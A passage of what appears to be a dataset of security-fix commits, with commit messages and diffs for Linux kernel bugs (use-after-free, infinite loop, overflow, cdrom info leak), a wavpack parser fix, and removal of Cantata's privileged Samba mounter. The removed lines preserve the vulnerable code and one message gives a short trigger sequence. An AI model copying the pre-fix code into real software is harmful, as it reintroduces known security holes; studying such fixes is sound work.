hns_nic_net_xmit_hw() and return NETDEV_TX_OK,\nwhich cause hns_nic_net_xmit to use a freed skb.\n\nBUG: KASAN: use-after-free in hns_nic_net_xmit_hw+0x62c/0x940...\n\t[17659.112635] alloc_debug_processing+0x18c/0x1a0\n\t[17659.117208] __slab_alloc+0x52c/0x560\n\t[17659.120909] kmem_cache_alloc_node+0xac/0x2c0\n\t[17659.125309] __alloc_skb+0x6c/0x260\n\t[17659.128837] tcp_send_ack+0x8c/0x280\n\t[17659.132449] __tcp_ack_snd_check+0x9c/0xf0\n\t[17659.136587] tcp_rcv_established+0x5a4/0xa70\n\t[17659.140899] tcp_v4_do_rcv+0x27c/0x620\n\t[17659.144687] tcp_prequeue_process+0x108/0x170\n\t[17659.149085] tcp_recvmsg+0x940/0x1020\n\t[17659.152787] inet_recvmsg+0x124/0x180\n\t[17659.156488] sock_recvmsg+0x64/0x80\n\t[17659.160012] SyS_recvfrom+0xd8/0x180\n\t[17659.163626] __sys_trace_return+0x0/0x4\n\t[17659.167506] INFO: Freed in kfree_skbmem+0xa0/0xb0 age=23 cpu=1 pid=13\n\t[17659.174000] free_debug_processing+0x1d4/0x2c0\n\t[17659.178486] __slab_free+0x240/0x390\n\t[17659.182100] kmem_cache_free+0x24c/0x270\n\t[17659.186062] kfree_skbmem+0xa0/0xb0\n\t[17659.189587] __kfree_skb+0x28/0x40\n\t[17659.193025] napi_gro_receive+0x168/0x1c0\n\t[17659.197074] hns_nic_rx_up_pro+0x58/0x90\n\t[17659.201038] hns_nic_rx_poll_one+0x518/0xbc0\n\t[17659.205352] hns_nic_common_poll+0x94/0x140\n\t[17659.209576] net_rx_action+0x458/0x5e0\n\t[17659.213363] __do_softirq+0x1b8/0x480\n\t[17659.217062] run_ksoftirqd+0x64/0x80\n\t[17659.220679] smpboot_thread_fn+0x224/0x310\n\t[17659.224821] kthread+0x150/0x170\n\t[17659.228084] ret_from_fork+0x10/0x40\n\n\tBUG: KASAN: use-after-free in hns_nic_net_xmit+0x8c/0xc0...\n\t[17751.080490] __slab_alloc+0x52c/0x560\n\t[17751.084188] kmem_cache_alloc+0x244/0x280\n\t[17751.088238] __build_skb+0x40/0x150\n\t[17751.091764] build_skb+0x28/0x100\n\t[17751.095115] __alloc_rx_skb+0x94/0x150\n\t[17751.098900] __napi_alloc_skb+0x34/0x90\n\t[17751.102776] hns_nic_rx_poll_one+0x180/0xbc0\n\t[17751.107097] hns_nic_common_poll+0x94/0x140\n\t[17751.111333] net_rx_action+0x458/0x5e0\n\t[17751.115123] __do_softirq+0x1b8/0x480\n\t[17751.118823] run_ksoftirqd+0x64/0x80\n\t[17751.122437] smpboot_thread_fn+0x224/0x310\n\t[17751.126575] kthread+0x150/0x170\n\t[17751.129838] ret_from_fork+0x10/0x40\n\t[17751.133454] INFO: Freed in kfree_skbmem+0xa0/0xb0 age=19 cpu=7 pid=43\n\t[17751.139951] free_debug_processing+0x1d4/0x2c0\n\t[17751.144436] __slab_free+0x240/0x390\n\t[17751.148051] kmem_cache_free+0x24c/0x270\n\t[17751.152014] kfree_skbmem+0xa0/0xb0\n\t[17751.155543] __kfree_skb+0x28/0x40\n\t[17751.159022] napi_gro_receive+0x168/0x1c0\n\t[17751.163074] hns_nic_rx_up_pro+0x58/0x90\n\t[17751.167041] hns_nic_rx_poll_one+0x518/0xbc0\n\t[17751.171358] hns_nic_common_poll+0x94/0x140\n\t[17751.175585] net_rx_action+0x458/0x5e0\n\t[17751.179373] __do_softirq+0x1b8/0x480\n\t[17751.183076] run_ksoftirqd+0x64/0x80\n\t[17751.186691] smpboot_thread_fn+0x224/0x310\n\t[17751.190826] kthread+0x150/0x170\n\t[17751.194093] ret_from_fork+0x10/0x40\n\nFixes: 13ac695e7ea1 (\"net:hns: Add support of Hip06 SoC to the Hislicon Network Subsystem\")\nSigned-off-by: Yunsheng Lin \nSigned-off-by: lipeng \nReported-by: Jun He \nSigned-off-by: David S. Miller ", "patch": "@@ -92,8 +92,8 @@ void hns_ethtool_set_ops(struct net_device *ndev);\n void hns_nic_net_reset(struct net_device *ndev);\n void hns_nic_net_reinit(struct net_device *netdev);\n int hns_nic_init_phy(struct net_device *ndev, struct hnae_handle *h);\n-int hns_nic_net_xmit_hw(struct net_device *ndev,\n-\t\t\tstruct sk_buff *skb,\n-\t\t\tstruct hns_nic_ring_data *ring_data);\n+netdev_tx_t hns_nic_net_xmit_hw(struct net_device *ndev,\n+\t\t\t\tstruct sk_buff *skb,\n+\t\t\t\tstruct hns_nic_ring_data *ring_data);\n \n #endif\t/**__HNS_ENET_H */", "sections": [{"section": "@@ -92,8 +92,8 @@ void hns_ethtool_set_ops(struct net_device *ndev);\n void hns_nic_net_reset(struct net_device *ndev);\n void hns_nic_net_reinit(struct net_device *netdev);\n int hns_nic_init_phy(struct net_device *ndev, struct hnae_handle *h);\n-int hns_nic_net_xmit_hw(struct net_device *ndev,\n-\t\t\tstruct sk_buff *skb,\n-\t\t\tstruct hns_nic_ring_data *ring_data);\n+netdev_tx_t hns_nic_net_xmit_hw(struct net_device *ndev,\n+\t\t\t\tstruct sk_buff *skb,\n+\t\t\t\tstruct hns_nic_ring_data *ring_data);\n \n #endif\t/**__HNS_ENET_H */", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/madvise.c", "commit_id": "6ea8d958a2c95a1d514015d4e29ba21a8c0a1a91", "commit_message": "mm/madvise.c: fix madvise() infinite loop under special circumstances\n\nMADVISE_WILLNEED has always been a noop for DAX (formerly XIP) mappings.\nUnfortunately madvise_willneed() doesn't communicate this information\nproperly to the generic madvise syscall implementation. The calling\nconvention is quite subtle there. madvise_vma() is supposed to either\nreturn an error or update &prev otherwise the main loop will never\nadvance to the next vma and it will keep looping for ever without a way\nto get out of the kernel.\n\nIt seems this has been broken since introduction. Nobody has noticed\nbecause nobody seems to be using MADVISE_WILLNEED on these DAX mappings.\n\n[mhocko@suse.com: rewrite changelog]\nLink: http://lkml.kernel.org/r/20171127115318.911-1-guoxuenan@huawei.com\nFixes: fe77ba6f4f97 (\"[PATCH] xip: madvice/fadvice: execute in place\")\nSigned-off-by: chenjie \nSigned-off-by: guoxuenan \nAcked-by: Michal Hocko \nCc: Minchan Kim \nCc: zhangyi (F) \nCc: Miao Xie \nCc: Mike Rapoport \nCc: Shaohua Li \nCc: Andrea Arcangeli \nCc: Mel Gorman \nCc: Kirill A. Shutemov \nCc: David Rientjes \nCc: Anshuman Khandual \nCc: Rik van Riel \nCc: Carsten Otte \nCc: Dan Williams \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -276,15 +276,14 @@ static long madvise_willneed(struct vm_area_struct *vma,\n {\n \tstruct file *file = vma->vm_file;\n \n+\t*prev = vma;\n #ifdef CONFIG_SWAP\n \tif (!file) {\n-\t\t*prev = vma;\n \t\tforce_swapin_readahead(vma, start, end);\n \t\treturn 0;\n \t}\n \n \tif (shmem_mapping(file->f_mapping)) {\n-\t\t*prev = vma;\n \t\tforce_shm_swapin_readahead(vma, start, end,\n \t\t\t\t\tfile->f_mapping);\n \t\treturn 0;\n@@ -299,7 +298,6 @@ static long madvise_willneed(struct vm_area_struct *vma,\n \t\treturn 0;\n \t}\n \n-\t*prev = vma;\n \tstart = ((start - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;\n \tif (end > vma->vm_end)\n \t\tend = vma->vm_end;", "sections": [{"section": "@@ -276,15 +276,14 @@ static long madvise_willneed(struct vm_area_struct *vma,\n {\n \tstruct file *file = vma->vm_file;\n \n+\t*prev = vma;\n #ifdef CONFIG_SWAP\n \tif (!file) {\n-\t\t*prev = vma;\n \t\tforce_swapin_readahead(vma, start, end);\n \t\treturn 0;\n \t}\n \n \tif (shmem_mapping(file->f_mapping)) {\n-\t\t*prev = vma;\n \t\tforce_shm_swapin_readahead(vma, start, end,\n \t\t\t\t\tfile->f_mapping);\n \t\treturn 0;\n", "related": false}, {"section": "@@ -299,7 +298,6 @@ static long madvise_willneed(struct vm_area_struct *vma,\n \t\treturn 0;\n \t}\n \n-\t*prev = vma;\n \tstart = ((start - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;\n \tif (end > vma->vm_end)\n \t\tend = vma->vm_end;", "related": false}]} +{"owner": "dbry", "repo": "wavpack", "language": "C", "file_name": "cli/wave64.c", "commit_id": "26cb47f99d481ad9b93eeff80d26e6b63bbd7e15", "commit_message": "issue #30 issue #31 issue #32: no multiple format chunks in WAV or W64", "patch": "@@ -53,6 +53,7 @@ int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, Wavpa\n Wave64ChunkHeader chunk_header;\n Wave64FileHeader filehdr;\n WaveHeader WaveHeader;\n+ int format_chunk = 0;\n uint32_t bcount;\n \n infilesize = DoGetFileSize (infile);\n@@ -104,6 +105,11 @@ int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, Wavpa\n if (!memcmp (chunk_header.ckID, fmt_guid, sizeof (fmt_guid))) {\n int supported = TRUE, format;\n \n+ if (format_chunk++) {\n+ error_line (\"%s is not a valid .W64 file!\", infilename);\n+ return WAVPACK_SOFT_ERROR;\n+ }\n+\n chunk_header.ckSize = (chunk_header.ckSize + 7) & ~7L;\n \n if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) ||", "sections": [{"section": "@@ -53,6 +53,7 @@ int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, Wavpa\n Wave64ChunkHeader chunk_header;\n Wave64FileHeader filehdr;\n WaveHeader WaveHeader;\n+ int format_chunk = 0;\n uint32_t bcount;\n \n infilesize = DoGetFileSize (infile);\n", "related": false}, {"section": "@@ -104,6 +105,11 @@ int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, Wavpa\n if (!memcmp (chunk_header.ckID, fmt_guid, sizeof (fmt_guid))) {\n int supported = TRUE, format;\n \n+ if (format_chunk++) {\n+ error_line (\"%s is not a valid .W64 file!\", infilename);\n+ return WAVPACK_SOFT_ERROR;\n+ }\n+\n chunk_header.ckSize = (chunk_header.ckSize + 7) & ~7L;\n \n if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) ||", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/f2fs/data.c", "commit_id": "b86e33075ed1909d8002745b56ecf73b833db143", "commit_message": "f2fs: fix a dead loop in f2fs_fiemap()\n\nA dead loop can be triggered in f2fs_fiemap() using the test case\nas below:\n\n\t...\n\tfd = open();\n\tfallocate(fd, 0, 0, 4294967296);\n\tioctl(fd, FS_IOC_FIEMAP, fiemap_buf);\n\t...\n\nIt's caused by an overflow in __get_data_block():\n\t...\n\tbh->b_size = map.m_len << inode->i_blkbits;\n\t...\nmap.m_len is an unsigned int, and bh->b_size is a size_t which is 64 bits\non 64 bits archtecture, type conversion from an unsigned int to a size_t\nwill result in an overflow.\n\nIn the above-mentioned case, bh->b_size will be zero, and f2fs_fiemap()\nwill call get_data_block() at block 0 again an again.\n\nFix this by adding a force conversion before left shift.\n\nSigned-off-by: Wei Fang \nAcked-by: Chao Yu \nSigned-off-by: Jaegeuk Kim ", "patch": "@@ -964,7 +964,7 @@ static int __get_data_block(struct inode *inode, sector_t iblock,\n \tif (!err) {\n \t\tmap_bh(bh, inode->i_sb, map.m_pblk);\n \t\tbh->b_state = (bh->b_state & ~F2FS_MAP_FLAGS) | map.m_flags;\n-\t\tbh->b_size = map.m_len << inode->i_blkbits;\n+\t\tbh->b_size = (u64)map.m_len << inode->i_blkbits;\n \t}\n \treturn err;\n }", "sections": [{"section": "@@ -964,7 +964,7 @@ static int __get_data_block(struct inode *inode, sector_t iblock,\n \tif (!err) {\n \t\tmap_bh(bh, inode->i_sb, map.m_pblk);\n \t\tbh->b_state = (bh->b_state & ~F2FS_MAP_FLAGS) | map.m_flags;\n-\t\tbh->b_size = map.m_len << inode->i_blkbits;\n+\t\tbh->b_size = (u64)map.m_len << inode->i_blkbits;\n \t}\n \treturn err;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/cdrom/cdrom.c", "commit_id": "9de4ee40547fd315d4a0ed1dd15a2fa3559ad707", "commit_message": "cdrom: information leak in cdrom_ioctl_media_changed()\n\nThis cast is wrong. \"cdi->capacity\" is an int and \"arg\" is an unsigned\nlong. The way the check is written now, if one of the high 32 bits is\nset then we could read outside the info->slots[] array.\n\nThis bug is pretty old and it predates git.\n\nReviewed-by: Christoph Hellwig \nCc: stable@vger.kernel.org\nSigned-off-by: Dan Carpenter \nSigned-off-by: Jens Axboe ", "patch": "@@ -2371,7 +2371,7 @@ static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi,\n \tif (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT)\n \t\treturn media_changed(cdi, 1);\n \n-\tif ((unsigned int)arg >= cdi->capacity)\n+\tif (arg >= cdi->capacity)\n \t\treturn -EINVAL;\n \n \tinfo = kmalloc(sizeof(*info), GFP_KERNEL);", "sections": [{"section": "@@ -2371,7 +2371,7 @@ static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi,\n \tif (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT)\n \t\treturn media_changed(cdi, 1);\n \n-\tif ((unsigned int)arg >= cdi->capacity)\n+\tif (arg >= cdi->capacity)\n \t\treturn -EINVAL;\n \n \tinfo = kmalloc(sizeof(*info), GFP_KERNEL);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/softirq.c", "commit_id": "81f9c4e4177d31ced6f52a89bb70e93bfb77ca03", "commit_message": "Merge tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace\n\nPull tracing fixes from Steven Rostedt:\n \"This contains a few fixes and a clean up.\n\n - a bad merge caused an \"endif\" to go in the wrong place in\n scripts/Makefile.build\n\n - softirq tracing fix for tracing that corrupts lockdep and causes a\n false splat\n\n - histogram documentation typo fixes\n\n - fix a bad memory reference when passing in no filter to the filter\n code\n\n - simplify code by using the swap macro instead of open coding the\n swap\"\n\n* tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace:\n tracing: Fix SKIP_STACK_VALIDATION=1 build due to bad merge with -mrecord-mcount\n tracing: Fix some errors in histogram documentation\n tracing: Use swap macro in update_max_tr\n softirq: Reorder trace_softirqs_on to prevent lockdep splat\n tracing: Check for no filter when processing event filters", "patch": "@@ -139,9 +139,13 @@ static void __local_bh_enable(unsigned int cnt)\n {\n \tlockdep_assert_irqs_disabled();\n \n+\tif (preempt_count() == cnt)\n+\t\ttrace_preempt_on(CALLER_ADDR0, get_lock_parent_ip());\n+\n \tif (softirq_count() == (cnt & SOFTIRQ_MASK))\n \t\ttrace_softirqs_on(_RET_IP_);\n-\tpreempt_count_sub(cnt);\n+\n+\t__preempt_count_sub(cnt);\n }\n \n /*", "sections": [{"section": "@@ -139,9 +139,13 @@ static void __local_bh_enable(unsigned int cnt)\n {\n \tlockdep_assert_irqs_disabled();\n \n+\tif (preempt_count() == cnt)\n+\t\ttrace_preempt_on(CALLER_ADDR0, get_lock_parent_ip());\n+\n \tif (softirq_count() == (cnt & SOFTIRQ_MASK))\n \t\ttrace_softirqs_on(_RET_IP_);\n-\tpreempt_count_sub(cnt);\n+\n+\t__preempt_count_sub(cnt);\n }\n \n /*", "related": false}]} +{"owner": "cdrummond", "repo": "cantata", "language": "C++", "file_name": "devices/mounter/mounter.cpp", "commit_id": "afc4f8315d3e96574925fb530a7004cc9e6ce3d3", "commit_message": "Remove internal Samba shre mounting code, this had some privilege escalation issues, and is not well tested", "patch": "@@ -1,249 +0,0 @@\n-/*\n- * Cantata\n- *\n- * Copyright (c) 2011-2018 Craig Drummond \n- *\n- * ----\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 2 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n- * General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License\n- * along with this program; see the file COPYING. If not, write to\n- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n- * Boston, MA 02110-1301, USA.\n- */\n-\n-#include \"mounter.h\"\n-#include \"mounteradaptor.h\"\n-#include \"config.h\"\n-#include \n-#include \n-#include \n-#if QT_VERSION >= 0x050000\n-#include \n-#endif\n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-\n-Mounter::Mounter(QObject *p)\n- : QObject(p)\n- , timer(0)\n- , procCount(0)\n-{\n- new MounterAdaptor(this);\n- QDBusConnection bus=QDBusConnection::systemBus();\n- if (!bus.registerService(\"mpd.cantata.mounter\") || !bus.registerObject(\"/Mounter\", this)) {\n- QTimer::singleShot(0, qApp, SLOT(quit()));\n- }\n-}\n-\n-static inline bool mpOk(const QString &mp)\n-{\n- return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n-}\n-\n-static QString fixPath(const QString &dir)\n-{\n- QString d(dir);\n-\n- if (!d.isEmpty() && !d.startsWith(QLatin1String(\"http://\"))) {\n- d.replace(QLatin1String(\"//\"), QChar('/'));\n- }\n- d.replace(QLatin1String(\"/./\"), QChar('/'));\n- if (!d.isEmpty() && !d.endsWith('/')) {\n- d+='/';\n- }\n- return d;\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.mount smb://workgroup\\user:password@host:port/path?domain=domain mountPoint uid gid\n-void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- qWarning() << url << mountPoint << uid << gid;\n- QUrl u(url);\n- int st=-1;\n-\n- if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n- QString user=u.userName();\n- QString domain;\n- QString password=u.password();\n- int port=u.port();\n-\n- #if QT_VERSION < 0x050000\n- if (u.hasQueryItem(\"domain\")) {\n- domain=u.queryItemValue(\"domain\");\n- }\n- #else\n- QUrlQuery q(u);\n- if (q.hasQueryItem(\"domain\")) {\n- domain=q.queryItemValue(\"domain\");\n- }\n- #endif\n-\n- QTemporaryFile *temp=0;\n-\n- if (!password.isEmpty()) {\n- temp=new QTemporaryFile();\n- if (temp && temp->open()) {\n- QTextStream str(temp);\n- if (!user.isEmpty()) {\n- str << \"username=\" << user << endl;\n- }\n- str << \"password=\" << password << endl;\n- if (!domain.isEmpty()) {\n- str << \"domain=\" << domain << endl;\n- }\n- }\n- }\n-\n- QString path=fixPath(u.host()+\"/\"+u.path());\n- while (!path.startsWith(\"//\")) {\n- path=\"/\"+path;\n- }\n-\n-// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n-// << \"-o\" <<\n-// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n-// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n-// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n-// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n-// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n-// (temp ? QString() : \",password=\");\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n- QStringList() << path << mountPoint\n- << \"-o\" <<\n- (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n- \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n- (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n- (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n- (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n- (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n- if (temp) {\n- tempFiles.insert(proc, temp);\n- }\n- procCount++;\n- return;\n- }\n- emit mountStatus(mountPoint, pid, st);\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.umount mountPoint\n-void Mounter::umount(const QString &mountPoint, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- if (mpOk(mountPoint)) {\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(umountResult(int)));\n- proc->start(\"umount\", QStringList() << mountPoint);\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- procCount++;\n- } else {\n- emit umountStatus(mountPoint, pid, -1);\n- }\n-}\n-\n-void Mounter::mountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- qWarning() << \"MOUNT RESULT\" << st << (void *)proc;\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- if (tempFiles.contains(proc)) {\n- tempFiles[proc]->close();\n- tempFiles[proc]->deleteLater();\n- tempFiles.remove(proc);\n- }\n- emit mountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-\n-void Mounter::umountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-void Mounter::startTimer()\n-{\n- if (!timer) {\n- timer=new QTimer(this);\n- connect(timer, SIGNAL(timeout()), SLOT(timeout()));\n- }\n- timer->start(30000);\n-}\n-\n-void Mounter::registerPid(int pid)\n-{\n- pids.insert(pid);\n- startTimer();\n-}\n-\n-void Mounter::timeout()\n-{\n- if (procCount!=0) {\n- startTimer();\n- return;\n- }\n-\n- QSet running;\n-\n- for (int p: pids) {\n- if (0==kill(p, 0)) {\n- running.insert(p);\n- }\n- }\n-\n- pids=running;\n-\n- if (pids.isEmpty()) {\n- qApp->exit();\n- QMap::ConstIterator it(tempFiles.constBegin());\n- QMap::ConstIterator end(tempFiles.constEnd());\n- for (; it!=end; ++it) {\n- it.value()->close();\n- delete it.value();\n- }\n- tempFiles.clear();\n- } else {\n- startTimer();\n- }\n-}\n-\n-#include \"moc_mounter.cpp\"", "sections": [{"section": "@@ -1,249 +0,0 @@\n-/*\n- * Cantata\n- *\n- * Copyright (c) 2011-2018 Craig Drummond \n- *\n- * ----\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 2 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n- * General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License\n- * along with this program; see the file COPYING. If not, write to\n- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n- * Boston, MA 02110-1301, USA.\n- */\n-\n-#include \"mounter.h\"\n-#include \"mounteradaptor.h\"\n-#include \"config.h\"\n-#include \n-#include \n-#include \n-#if QT_VERSION >= 0x050000\n-#include \n-#endif\n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-\n-Mounter::Mounter(QObject *p)\n- : QObject(p)\n- , timer(0)\n- , procCount(0)\n-{\n- new MounterAdaptor(this);\n- QDBusConnection bus=QDBusConnection::systemBus();\n- if (!bus.registerService(\"mpd.cantata.mounter\") || !bus.registerObject(\"/Mounter\", this)) {\n- QTimer::singleShot(0, qApp, SLOT(quit()));\n- }\n-}\n-\n-static inline bool mpOk(const QString &mp)\n-{\n- return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n-}\n-\n-static QString fixPath(const QString &dir)\n-{\n- QString d(dir);\n-\n- if (!d.isEmpty() && !d.startsWith(QLatin1String(\"http://\"))) {\n- d.replace(QLatin1String(\"//\"), QChar('/'));\n- }\n- d.replace(QLatin1String(\"/./\"), QChar('/'));\n- if (!d.isEmpty() && !d.endsWith('/')) {\n- d+='/';\n- }\n- return d;\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.mount smb://workgroup\\user:password@host:port/path?domain=domain mountPoint uid gid\n-void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- qWarning() << url << mountPoint << uid << gid;\n- QUrl u(url);\n- int st=-1;\n-\n- if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n- QString user=u.userName();\n- QString domain;\n- QString password=u.password();\n- int port=u.port();\n-\n- #if QT_VERSION < 0x050000\n- if (u.hasQueryItem(\"domain\")) {\n- domain=u.queryItemValue(\"domain\");\n- }\n- #else\n- QUrlQuery q(u);\n- if (q.hasQueryItem(\"domain\")) {\n- domain=q.queryItemValue(\"domain\");\n- }\n- #endif\n-\n- QTemporaryFile *temp=0;\n-\n- if (!password.isEmpty()) {\n- temp=new QTemporaryFile();\n- if (temp && temp->open()) {\n- QTextStream str(temp);\n- if (!user.isEmpty()) {\n- str << \"username=\" << user << endl;\n- }\n- str << \"password=\" << password << endl;\n- if (!domain.isEmpty()) {\n- str << \"domain=\" << domain << endl;\n- }\n- }\n- }\n-\n- QString path=fixPath(u.host()+\"/\"+u.path());\n- while (!path.startsWith(\"//\")) {\n- path=\"/\"+path;\n- }\n-\n-// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n-// << \"-o\" <<\n-// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n-// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n-// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n-// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n-// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n-// (temp ? QString() : \",password=\");\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n- QStringList() << path << mountPoint\n- << \"-o\" <<\n- (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n- \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n- (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n- (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n- (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n- (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n- if (temp) {\n- tempFiles.insert(proc, temp);\n- }\n- procCount++;\n- return;\n- }\n- emit mountStatus(mountPoint, pid, st);\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.umount mountPoint\n-void Mounter::umount(const QString &mountPoint, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- if (mpOk(mountPoint)) {\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(umountResult(int)));\n- proc->start(\"umount\", QStringList() << mountPoint);\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- procCount++;\n- } else {\n- emit umountStatus(mountPoint, pid, -1);\n- }\n-}\n-\n-void Mounter::mountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- qWarning() << \"MOUNT RESULT\" << st << (void *)proc;\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- if (tempFiles.contains(proc)) {\n- tempFiles[proc]->close();\n- tempFiles[proc]->deleteLater();\n- tempFiles.remove(proc);\n- }\n- emit mountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-\n-void Mounter::umountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-void Mounter::startTimer()\n-{\n- if (!timer) {\n- timer=new QTimer(this);\n- connect(timer, SIGNAL(timeout()), SLOT(timeout()));\n- }\n- timer->start(30000);\n-}\n-\n-void Mounter::registerPid(int pid)\n-{\n- pids.insert(pid);\n- startTimer();\n-}\n-\n-void Mounter::timeout()\n-{\n- if (procCount!=0) {\n- startTimer();\n- return;\n- }\n-\n- QSet running;\n-\n- for (int p: pids) {\n- if (0==kill(p, 0)) {\n- running.insert(p);\n- }\n- }\n-\n- pids=running;\n-\n- if (pids.isEmpty()) {\n- qApp->exit();\n- QMap::ConstIterator it(tempFiles.constBegin());\n- QMap::ConstIterator end(tempFiles.constEnd());\n- for (; it!=end; ++it) {\n- it.value()->close();\n- delete it.value();\n- }\n- tempFiles.clear();\n- } else {\n- startTimer();\n- }\n-}\n-\n-#include \"moc_mounter.cpp\"", "related": false}]} +{"owner": "cdrummond", "repo": "cantata", "language": "C++", "file_name": "devices/mounter/mounter.cpp", "commit_id": "afc4f8315d3e96574925fb530a7004cc9e6ce3d3", "commit_message": "Remove internal 